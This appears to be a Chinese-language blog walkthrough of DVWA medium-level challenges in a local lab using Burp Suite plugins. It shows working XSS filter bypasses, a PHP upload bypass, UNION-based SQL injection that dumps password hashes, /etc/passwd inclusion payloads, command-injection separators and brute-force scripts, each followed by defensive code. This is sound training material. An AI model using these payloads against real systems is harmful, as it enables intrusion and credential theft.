burpsuite的进阶版练习,插件与靶场难度提升

2946 字
15 分钟
burpsuite的进阶版练习,插件与靶场难度提升

难度提升到了medium#


安装了一些bp插件#

  1. Logger++ — 解决“history 里找不到请求”

内置 Logger 只能看,Logger++ 能多列过滤、按正则搜索、导出。你昨天遇到“抓了好几条都是 GET /vulnerabilities/api/”,用它一行正则 v[12]/user 就能定位到 XHR。

对 DVWA 的用处:把所有响应按 Content-Length 排序,一眼看出哪条异常。

  1. Turbo Intruder — 解决“社区版 Intruder 限速 1 req/s”

它是独立引擎,不经过 Community 版 Intruder 的限速通道。写法是一个简短的脚本:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=100,
pipeline=False)
for pwd in open('/tmp/passwords.txt'):
engine.queue(target.req, pwd.rstrip())
def handleResponse(req, interesting):
if 'Welcome' in req.response:
table.add(req)

上手比 Intruder 陡,但它是打真实目标时唯一能跑得动的工具——DVWA 上 7 条字典看不出差别,真实目标上 1 req/s 和 100 req/s 是 10 分钟和 1 分钟的区别。

  1. Hackvertor — 解决“多层编码手算”

它给你一对标签:

<@urlencode>payload<@urlencode>
<@base64>payload<@base64>
<@hex_entities>payload<@hex_entities>

选中 payload 按 ⌘B 自动套标签,发送时 Burp 会自动编码。做 medium 的 XSS 绕过、双重编码绕 WAF 时,比手敲 %25%32%37 快十倍。

  1. Autorize — 解决“越权检测靠手动试”

把“低权限用户的 cookie”喂给它,它会把每个请求自动重放一遍并对比响应。原理简单,但省掉大量复制粘贴。

对 DVWA 的用处:Authorisation Bypass、Broken Access Control、API 的 medium 都能用它扫一遍。


一、XSS (Reflected)#

看源码

// low
$name = $_GET[ 'name' ];
$html .= "<pre>Hello {$name}</pre>";
// medium
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // ← 只多了这一行
$html .= "<pre>Hello {$name}</pre>";

对比low,只多了一行,并且文件开头加了一句header("X-XSS-Protection: 0"),那么思路就是要把 <script>这个字符串删掉

有三种绕过:

  • 大小写

输入 <SCRIPT>alert(1)</SCRIPT> → 回显 <SCRIPT>alert(1)</SCRIPT>

str_replace 是大小写敏感的,<SCRIPT> 跟 <script> 不是同一个字符串,一个字符都没被删。浏览器对标签名大小写不敏感,照常执行。

  • 换个标签

输入 <img src=x onerror=alert(1)> → 回显 <img src=x onerror=alert(1)>

这个 payload 里根本没有 <script 这个子串。黑名单完全不知道自己在找什么。

  • 嵌套

输入 <scr<script>ipt>alert(1)</script> → 回显 <script>alert(1)</script>

这个值得停一下。你把 <script> 塞在 scr 和 ipt 中间,str_replace 老老实实把它删了,结果前后两段拼起来,恰好还原成一个完整的 <script>。过滤动作本身成了组装动作。

抓个包#

一样的

GET /vulnerabilities/xss_r/?name=1 HTTP/1.1

改name的值

/vulnerabilities/xss_r/?name=%3CSCRIPT%3Ealert(1)%3C/SCRIPT%3E

看到返回值

<pre>
Hello <SCRIPT>
alert(1)
</SCRIPT>

还可以改

%3Cscr%3Cscript%3Eipt%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

返回

<pre>
Hello <SCRIPT>
alert(1)
</SCRIPT>
<pre>
Hello <img src=x onerror=alert(1)>
</pre>

使用Hackvertor#

可以用Hackvertor编码 可以直接写

<@hex_entities>"><img src=x onerror=alert(1)><@hex_entities>

然后发送时直接变成

&#x22;&#x3e;&#x3c;img src&#x3d;x onerror&#x3d;alert(1)&#x3e;

常用的几个标签

  • <@hex_entities> —— HTML 十六进制实体,< → &#x3c;(属性注入首选)
  • <@dec_entities> —— HTML 十进制实体,< → &#60;
  • <@urlencode> —— 只编码特殊字符
  • <@urlencode_all> —— 全编码,连字母都编
  • <@base64> / <@base64d> —— 编码 / 解码
  • <@hex> / <@hexd> —— 十六进制编码 / 解码

二、File Upload#

对比low,源码多了

$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // ← 类型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 大小
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 允许上传
}

而在浏览器中

------dvwatest
Content-Disposition: form-data; name="uploaded"; filename="m7.php"
Content-Type: application/x-php ← 这一行是浏览器写的
<?php echo 7*7; ?>
------dvwatest

Content-Type 这一行是客户端自己填的字符串。​ 服务端只是把它读进$_FILES['uploaded']['type']这个变量,然后拿去跟 “image/jpeg” 比较。

那么可以用Content-Type进行绕过

丢bp里看看#

随便传张图片

Connection: keep-alive
------WebKitFormBoundary8DBxFYH7AnFGrzzU
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary8DBxFYH7AnFGrzzU
Content-Disposition: form-data; name="uploaded"; filename="截屏2026-06-12 15.26.45.png"
Content-Type: image/png

改一下请求体

Cookie: PHPSESSID=2b8bb834317b0c774d0ed09680f57912; security=medium
Connection: keep-alive
------WebKitFormBoundary8DBxFYH7AnFGrzzU
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary8DBxFYH7AnFGrzzU
Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: image/png
<?php echo 7*7; ?>
------WebKitFormBoundary8DBxFYH7AnFGrzzU
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary8DBxFYH7AnFGrzzU--

打开http://127.0.0.1:8888/hackable/uploads/1.php,页面显示49,成功

如何防御#

// 1. 真的读文件头,确认是图像
$check = getimagesize( $_FILES['uploaded']['tmp_name'] );
if ( $check === false ) { 拒绝 }
// 2. 后缀白名单 + 随机重命名
$target = $target_dir . generateSessionToken() . '.jpg';
// 3. 上传目录禁止执行(Apache 层配置)
// <Directory /var/www/html/hackable/uploads>
// php_admin_flag engine off
// </Directory>

三道防线缺一不可:校验内容 + 重命名后缀 + 目录不可执行。​ 因为只要上传目录能执行 PHP,前面两道迟早会被绕过。


三、SQL Injection#

源码变化

// low
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// ↑ 有引号 ↑ 有引号
// medium
$id = mysqli_real_escape_string( $GLOBALS["___mysqli_ston"], $_POST[ 'id' ] ); // ← 加了转义
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// ↑ 引号没了!

加了一个防御,同时拆掉了一个前提。​

mysqli_real_escape_string() 的作用是:把 ’ 变成 ‘,让引号不能提前闭合字符串,没法再用 ’ 跳出字符串了。

这个功能的前提是:你的输入确实处在一个字符串里(被引号包裹)。

而 medium 把引号去掉了。$id 现在直接跟在 = 后面,是一个数字位置。攻击者在这个位置本来就不需要引号,转义对他完全没有约束。

抓包#

id=1&Submit=Submit

改id的值,尝试

  • 1
ID: 1 First name: admin Surname: admin
  • 1 AND 1=1 1 个 <pre> 块,说明AND 1=1 被当成 SQL 语法执行了,而不是被当成字符串 “1 AND 1=1”。这已经证明注入成立。

  • 1 OR 1=1 5 个 <pre> 块(全表)

  • -1 UNION SELECT user,password FROM users# 5 个 <pre> 块,哈希直接显示在 Surname 的位置:

ID: -1 UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 1' 0 个 <pre> 块 + Fatal error
Fatal error: Uncaught mysqli_sql_exception:
You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version...

那么用

id=1+OR+1%3D1&Submit=Submit
  • 空格 → + 或 %20
  • = → %3D(必须编码,否则会被当成参数分隔符)
  • # → %23

得到

<pre>
ID: 1 OR 1=1<br />
First name: admin<br />
Surname: admin
</pre>
<pre>
ID: 1 OR 1=1<br />
First name: Gordon<br />
Surname: Brown
</pre>
<pre>
ID: 1 OR 1=1<br />
First name: Bob<br />
Surname: Smith
</pre>
<pre>
ID: 1 OR 1=1<br />
First name: Pablo<br />
Surname: Picasso
</pre>
<pre>
ID: 1 OR 1=1<br />
First name: Bob<br />
Surname: Smith
</pre>

防御#

// 1. 先确认它是纯数字
if ( is_numeric( $id ) ) {
// 2. 强转成整数,任何非数字字符都会被丢弃
$id = intval( $id );
// 3. 用预处理语句,SQL 和参数彻底分离
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id);' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

四、File Inclusion#

还是先看源码

$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file ); // 挡 RFI
$file = str_replace( array( "../", "..\\" ), "", $file ); // 挡路径穿越

然后 fi/index.php:36 执行 include( $file )。

思路:把 ../ 和 http:// 删掉,就跳不出目录、也加载不了远程文件。

尝试绕过发现

  • page=/etc/passwd和page=....//....//....//....//....//etc/passwd都可以

  • page=../etc/passwd会被拦

使用Logger++ 过滤 + 排序#

发五个请求

page=file1.php
page=/etc/passwd
page=../etc/passwd
page=....//....//....//....//....//etc/passwd
page=php://filter/convert.base64-encode/resource=/etc/passwd

打开Logger++,可以参照Query来看Length

  • 4629 —— file1.php,正常的相对包含
  • 4739 —— ../etc/passwd,失败(多了报错文字)
  • 5119 —— /etc/passwd 和 …//…,两者一模一样,说明绝对路径和穿越绕过的结果完全相同
  • 5400 —— php://filter,base64 撑长了

防护#

switch( $file ) {
case "file1.php":
case "file2.php":
case "file3.php":
include( $file );
break;
default:
echo "File not found";
}

不让用户碰路径,用户只能传文件名,而且只能是白名单里那三个。路径不是”过滤过的用户输入”,而是”固定的常量”。


五、Command Injection#

源码:

$substitutions = array(
'&&' => '', // 删 &&
';' => '', // 删 ;
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );

黑名单只有两个符号

测试六种输入

  • 127.0.0.1 → 425 字符,正常 ping 输出

  • 127.0.0.1; id → 输出 0 字符

  • 127.0.0.1 && id → 输出 0 字符

  • 127.0.0.1 | id → 54 字符,只有 id 的结果

uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 127.0.0.1 & id → 479 字符,ping 输出 + id 结果都有 & 是后台执行符:ping … & 把 ping 扔到后台,然后立刻执行 id。两条命令的输出都进了 stdout,所以是 425(ping)+ 54(id)≈ 479

  • 127.0.0.1 + 换行 + id → 479 字符,同样成功 换行符 \n 在 shell 里等同于命令分隔符,跟 ; 一样。但黑名单里没有它——str_replace 只认字面上的 ;

而0字符输出可能是陷阱 ; 被删掉之后,输入变成:

ping -c 4 127.0.0.1 id

ping 收到两个目标:127.0.0.1 和 id。第二个解析不了,报错:

ping: id: Name or service not known

但 shell_exec() 只捕获标准输出(stdout),标准错误(stderr)是直接丢弃的。​ 所以在页面上看到的是空 <pre></pre>。

命令注入里”什么都没出来”不等于”没执行”。可能是:

  • 命令执行了但写到了 stderr
  • 命令执行了但被管道吃掉,就是只有id结果 |是管道,它把前一条命令的输出当作后一条命令的输入:ping 打出的一大堆文字全被送进 id 的 stdin,id 不读 stdin,所以那些字全部丢弃。页面上只剩 id 自己的输出
  • 命令执行了但输出被重定向

用bp#

提交127.0.0.1

POST /vulnerabilities/exec/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1&Submit=Submit

改ip

ip=127.0.0.1+%7C+id&Submit=Submit
  • | → %7C(必须编码,它在 URL 里是特殊字符)
  • 空格 → +
  • 换行 → %0A

用 & 的时候要特别小心:& 在 application/x-www-form-urlencoded 里是参数分隔符。你写 ip=127.0.0.1 & id 会被解析成三个参数:ip=127.0.0.1、 、 id。

必须编码成 %26

ip=127.0.0.1+%26+id&Submit=Submit

返回

<pre>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

Tips — shell 的分隔符

  • ; —— 顺序执行
  • & —— 后台执行
  • && —— 前一条成功才执行后一条
  • | —— 管道,前一条的 stdout 给后一条
  • || —— 前一条失败才执行后一条
  • \n(%0A)—— 换行,等价于 ;
  • $() —— 命令替换:$(id)
  • —— 反引号命令替换:id
  • $IFS —— 空格替代符,绕”过滤空格”

防护#

// 1. 白名单校验:必须是合法 IP
if ( filter_var( $target, FILTER_VALIDATE_IP ) === false ) {
die( 'Invalid IP address' );
}
// 2. 用 escapeshellarg 包裹,把所有特殊字符转义成字面量
$cmd = shell_exec( 'ping -c 4 ' . escapeshellarg( $target ) );

filter_var(..., FILTER_VALIDATE_IP) —— 从根本上限制”只能是 IP”,注入字符根本进不来

escapeshellarg() —— 即使校验漏了,它会把整个参数用单引号包起来并转义内部的单引号,shell 只会把它当一个字符串参数,不会当代码


六、Brute Force#

源码:

if( $result && mysqli_num_rows( $result ) == 1 ) {
// 成功:立刻返回
$html .= "<p>Welcome to the password protected area {$user}</p>";
} else {
sleep( 2 ); // ← 唯一的变化
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

失败后睡 2 秒,目的是拖慢爆破。

那么可以根据返回时间判断哪一个是正确答案

用Turbo Intruder#

随便输入密码抓包

GET /vulnerabilities/brute/?username=admin&password=11111&Login=Login HTTP/1.1

选中11111送进Turbo Intruder,自动变%s

再改下面的脚本

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=100,
pipeline=False)
words = ['password', '123456', 'admin', 'letmein',
'qwerty', 'abc123', 'charley']
for w in words:
engine.queue(target.req, w)
def handleResponse(req, interesting):
if 'Welcome' in req.response:
table.add(req)
  • RequestEngine(…) —— 引擎配置

    • concurrentConnections=10 —— 同时开 10 个 TCP 连接。这是最关键的参数,直接决定并发度
    • requestsPerConnection=100 —— 每个连接复用发 100 个请求,省掉反复握手的开销
    • pipeline=False —— 不开 HTTP 流水线。开了更快,但有些服务器不兼容,先用 False
    • engine.queue(target.req, w) —— 把 %s 替换成 w,排队发送
  • handleResponse(req, interesting) —— 每个响应回来都会调用一次

    • req.response 是响应体字符串
    • ‘Welcome’ in req.response —— 命中判据
    • table.add(req) —— 把这条加进结果表

注意 target.req 里的 Cookie 是在浏览器里的那个 Session。

接着点run,等待一下可以看到正确的paylaod就是密码

脚本跑不起来可以用

import urllib.request, urllib.parse, http.cookiejar, re, time
from concurrent.futures import ThreadPoolExecutor
BASE = "http://127.0.0.1:8888"
WORDS = ['password','123456','admin','letmein','qwerty','abc123','charley']
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
h = op.open(BASE + "/login.php").read().decode("utf-8","replace")
t = re.search(r"name='user_token' value='([0-9a-f]+)'", h).group(1)
op.open(BASE + "/login.php", urllib.parse.urlencode(
{"username":"admin","password":"password","Login":"Login","user_token":t}).encode())
psid = [c.value for c in cj if c.name == "PHPSESSID"][0]
def attempt(pwd):
url = BASE + "/vulnerabilities/brute/?" + urllib.parse.urlencode(
{"username":"admin","password":pwd,"Login":"Login"})
req = urllib.request.Request(url)
req.add_header("Cookie", f"PHPSESSID={psid}; security=medium")
t0 = time.time()
b = op.open(req).read().decode("utf-8","replace")
return pwd, "Welcome" in b, time.time() - t0, len(b)
t0 = time.time()
with ThreadPoolExecutor(max_workers=7) as ex: # ← 并发度
for pwd, ok, dt, n in ex.map(attempt, WORDS):
flag = " <<< 命中" if ok else ""
print(f"{pwd:<10} {dt:5.2f}s len={n}{flag}")
print(f"\n总耗时 {time.time()-t0:.2f}s(串行约需 {len(WORDS)*2}s)")

进阶练习完结了。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录